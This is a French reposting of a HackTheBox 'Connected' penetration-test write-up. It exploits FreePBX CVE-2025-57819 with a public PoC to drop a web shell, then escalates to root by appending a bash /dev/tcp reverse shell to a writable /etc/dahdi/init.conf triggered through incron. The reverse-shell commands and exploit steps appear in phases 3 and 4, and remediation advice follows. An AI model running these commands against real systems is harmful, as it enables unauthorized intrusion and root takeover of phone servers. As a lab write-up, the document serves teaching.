Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/ikmalhanaan/hackthebox-connected
Escalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
ikmalhanaan/hackthebox-connected

HackTheBox-Connected

# Write-up détaillé de test d'intrusion pour la machine HackTheBox « Connected », couvrant l'exploitation de FreePBX CVE-2025-57819 (SQLi vers RCE) et l'élévation de privilèges via une mauvaise configuration d'incron jusqu'à root.

Voir le dépôt
il y a 14 joursPas encore vérifié

HTB Connected Completed Banner

Hack The Box : Connected — Writeup de Test d'Intrusion Professionnel


📋 Résumé Exécutif

Connected est une machine Linux basée sur CentOS exécutant le système de communication VoIP FreePBX v16.0.40.7 intégré à Asterisk.

Le flux d'exploitation (Vecteur d'Attaque / Kill Chain) se compose de deux étapes principales :

  1. Pied-à-terre Initial (Accès Initial) : Exploitation de la vulnérabilité critique CVE-2025-57819 (Contournement d'Authentification Non Authentifié et Injection SQL menant à l'Exécution de Code à Distance / RCE) sur FreePBX pour implanter un web shell et obtenir un reverse shell en tant qu'utilisateur du service asterisk.
  2. Élévation de Privilèges (Escalade vers Root) : Audit de la configuration système locale et découverte du démon incron (inotify cron) qui surveille les fichiers spool. Ce déclencheur exécute le script root /usr/sbin/sysadmin_dahdi_restart lors d'une écriture dans le fichier /var/spool/asterisk/sysadmin/dahdi_restart. Comme le fichier de configuration DAHDI /etc/dahdi/init.conf est inscriptible (writable) par l'utilisateur asterisk, l'insertion d'une charge utile reverse shell dans ce fichier de configuration est exécutée automatiquement avec les droits root (uid=0).

📑 Table des Matières

  1. Informations sur la Machine & Environnement de Test
  2. Phase 1 : Reconnaissance & Scan de Ports (Reconnaissance Réseau)
  3. Phase 2 : Énumération Web & Identification des Vulnérabilités
  4. Phase 3 : Pied-à-terre Initial (Exploitation de CVE-2025-57819)
  5. Phase 4 : Post-Exploitation & Élévation de Privilèges (Vers Root)
  6. Phase 5 : Analyse des Causes Racines & Recommandations d'Atténuation (Durcissement)
  7. Cartographie MITRE ATT&CK

1. Informations sur la Machine & Environnement de Test


2. Phase 1 : Reconnaissance & Scan de Ports (Reconnaissance Réseau)

L'étape initiale du test d'intrusion commence par une reconnaissance active utilisant nmap pour identifier les ports ouverts, les services en cours d'exécution et les versions du système.

2.1 Exécution du Scan Nmap Complet

root@kitploit:~
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick

Explication des Options Nmap :

  • -T4 : Définit le modèle de temporisation agressif pour un scan plus rapide et plus efficace.
  • -sC : Exécute l'ensemble des scripts NSE (Nmap Scripting Engine) par défaut pour la détection de vulnérabilités de base.
  • -sV : Active la détection de services et de versions sur chaque port qui répond.
  • -oA recon/nmap_quick : Enregistre tous les formats de sortie (standard, grepable, XML) dans le répertoire recon.

2.2 Résultats de l'Analyse des Ports & Services

root@kitploit:~
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|   256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_  256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after:  2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16

Nmap Scan Result

2.3 Principales Découvertes du Scan :

  1. Port 22 (SSH) : Utilise OpenSSH version 7.4 (typique des systèmes CentOS 7).
  2. Ports 80 & 443 (HTTP/HTTPS) : Utilise le serveur web Apache 2.4.6 avec le runtime PHP 7.4.16. Le serveur web répond avec une redirection HTTP vers le domaine http://connected.htb/.

3. Phase 2 : Énumération Web & Identification des Vulnérabilités

3.1 Configuration du Mappage DNS Local

Comme le serveur web utilise l'hébergement virtuel et redirige le trafic vers connected.htb, nous devons ajouter la résolution du nom d'hôte local dans /etc/hosts :

root@kitploit:~
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts

3.2 Empreinte de l'Application Web (FreePBX)

L'accès à l'URL http://connected.htb/admin/config.php via un navigateur affiche l'interface de gestion VoIP basée sur le web :

FreePBX Web Interface

À partir du pied de page de la page web, les informations de version spécifiques sont obtenues :

root@kitploit:~
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
  • Application : Administration FreePBX
  • Version : 16.0.40.7
  • Fournisseur : Sangoma Technologies Inc.

4. Phase 3 : Pied-à-terre Initial (Exploitation de CVE-2025-57819)

4.1 Analyse de la Vulnérabilité

La version FreePBX 16.0.40.7 est vulnérable à CVE-2025-57819. Cette vulnérabilité est une injection SQL pré-authentification qui permet à un attaquant sans identifiants (attaquant non authentifié) de manipuler la base de données backend FreePBX/Asterisk.

Grâce à cette injection SQL, l'attaquant peut modifier la table interne des tâches cron d'Asterisk (asterisk.cron_jobs) ou injecter du code PHP arbitraire dans le répertoire du serveur web (produisant un Générateur d'Artéfacts de Détection / Web Shell), ce qui mène à une Exécution de Code à Distance (RCE).

4.2 Préparation et Exécution de l'Exploit

Nous avons utilisé le PoC d'exploit public des WatchTowr Labs :

root@kitploit:~
# 1. Cloner le dépôt de l'exploit
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819

# 2. Exécuter le script d'exploit contre la cible
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

WatchTowr Exploit Execution

Résultat de l'Exécution de l'Exploit : Le script a réussi à exploiter la cible et à créer un webshell actif sur le point de terminaison :

root@kitploit:~
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>

4.3 Établissement du Reverse Shell & Obtention du Drapeau Utilisateur

Pour obtenir une session interactive (reverse shell), suivez les étapes suivantes :

  1. Ouvrir un Listener Netcat sur la machine de l'attaquant :

    root@kitploit:~
    nc -lvnp 1212
    
  2. Envoyer la Charge Utile du Reverse Shell via le Web Shell : Envoyez la charge utile du reverse shell en utilisant curl avec le paramètre encodé URL :

    root@kitploit:~
    curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
      --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
    
  3. Connexion Reverse Shell Reçue avec Succès : La connexion entrante atteint le listener nc et nous obtenons un accès shell interactif en tant qu'utilisateur asterisk.

Reverse Shell and User Flag

  1. Récupération du Drapeau Utilisateur :
    root@kitploit:~
    [asterisk@connected html]$ cat /home/asterisk/user.txt
    

5. Phase 4 : Post-Exploitation & Élévation de Privilèges (Vers Root)

Après avoir obtenu l'accès en tant qu'utilisateur asterisk, l'étape suivante consiste à effectuer une énumération interne pour trouver un vecteur d'Élévation de Privilèges vers root.

5.1 Énumération du Démon & du Moniteur de Fichiers (incron)

Nous avons examiné la configuration du démon incron (table cron inotify), c'est-à-dire le service qui exécute des commandes lors d'un événement du système de fichiers (comme la modification ou la création de fichiers) :

root@kitploit:~
[asterisk@connected html]$ cat /etc/incron.d/*

Sortie de la Configuration Incron :

root@kitploit:~
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Analyse des Règles Incron :

  • Ligne : /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
  • Mécanisme : Chaque fois que le fichier /var/spool/asterisk/sysadmin/dahdi_restart est fermé après une opération d'écriture (IN_CLOSE_WRITE), le système exécute automatiquement le script /usr/sbin/sysadmin_dahdi_restart avec les privilèges root.

5.2 Analyse du Script DAHDI & Faille de Permission de Fichier Inscriptible

Un examen plus approfondi du script /usr/sbin/sysadmin_dahdi_restart montre que le script redémarre le service DAHDI (Digium Asterisk Hardware Device Interface) et exécute / charge (source) le fichier de configuration /etc/dahdi/init.conf.

La vérification des permissions sur le fichier /etc/dahdi/init.conf montre que ce fichier est inscriptible (writable) par l'utilisateur asterisk :

root@kitploit:~
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf

5.3 Exploitation : Injection de la Charge Utile & Déclenchement de l'Événement Incron

Comme /etc/dahdi/init.conf est exécuté dans le contexte root lors du redémarrage de DAHDI, nous pouvons insérer une commande reverse shell dans ce fichier de configuration, puis déclencher le redémarrage via incron.

  1. Ouvrir un Nouveau Listener sur la Machine de l'Attaquant (Port 4545) :

    root@kitploit:~
    nc -lvnp 4545
    

    Root Netcat Listener

  2. Insérer le Reverse Shell dans /etc/dahdi/init.conf :

    root@kitploit:~
    echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
    
  3. Déclencher l'Événement Incron via l'Écriture du Fichier Spool :

    root@kitploit:~
    echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
    

    Payload Injection & Trigger

5.4 Shell Root & Capture du Drapeau

Quelques secondes après que incron a traité l'événement d'écriture du fichier, le script root exécute la ligne de commande insérée et génère une connexion reverse shell en tant que root (uid=0) :

Root Shell and Flag

root@kitploit:~
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)

[root@connected /]# whoami
root

[root@connected /]# cat /root/root.txt

6. Phase 5 : Analyse des Causes Racines & Recommandations d'Atténuation (Durcissement)


7. Cartographie MITRE ATT&CK


Pwned by ikmalhanaan 🚀

Télécharger l’outil
ComposantSpécification / Description
Nom de la MachineConnected
Système d'ExploitationLinux (CentOS / Distribution FreePBX)
IP Cible<IP_TARGET> (connected.htb)
IP Attaquant<IP_VPN_KITA> (Interface VPN tun0)
Vulnérabilité CritiqueCVE-2025-57819 (Contournement d'Auth FreePBX & SQLi vers RCE)
Mécanisme d'Élévation de PrivilègesHook Démon Incron Mal Configuré + /etc/dahdi/init.conf Inscriptible
Outils Utilisésnmap, curl, python3, netcat (nc), bash, git
Vecteur de FaiblesseImpactRecommandation de Remédiation / Atténuation
SQLi Pré-Auth FreePBX (CVE-2025-57819)Critique — Permet une RCE sans authentification via l'injection de base de données.Mettre à jour FreePBX vers la dernière version de correctif officielle de Sangoma. Appliquer une validation d'entrée stricte ainsi que des Requêtes Préparées / Requêtes Paramétrées sur tous les points de terminaison API.
Permission de Fichier Non Sécurisée (/etc/dahdi/init.conf)Élevé — Un utilisateur non autorisé (asterisk) peut modifier un fichier de configuration exécuté par root.Restreindre la propriété et les droits d'écriture du fichier de configuration : chmod 644 /etc/dahdi/init.conf et chown root:root /etc/dahdi/init.conf.
Exécution Automatisée Root par IncronMoyen/Élevé — Le script d'automatisation root charge un fichier de configuration sans vérification d'intégrité.Auditer toutes les règles incron et les scripts /usr/sbin/sysadmin_*. Éviter de sourcer des fichiers de configuration dynamiques vulnérables à une modification non-root.
TacticTechnique IDTechnique NameApplication sur la Machine
ReconnaissanceT1595.002Active Scanning: Vulnerability ScanningScan des ports & services avec nmap.
Accès InitialT1190Exploit Public-Facing ApplicationExploitation de la vulnérabilité CVE-2025-57819 sur le serveur web FreePBX.
ExécutionT1059.004Command and Scripting Interpreter: Unix ShellExécution de commandes bash reverse shell via le web shell & le script init.
Persistance / Élévation de PrivilègesT1053.003Scheduled Task/Job: CronUtilisation du démon incron pour exécuter automatiquement des tâches root.
Élévation de PrivilègesT1574.009Hijack Execution Flow: Path/Configuration HijackingInsertion de commandes malveillantes dans le fichier de configuration /etc/dahdi/init.conf.
Accès aux Identifiants / CollecteT1005Data from Local SystemLecture des drapeaux user.txt et root.txt.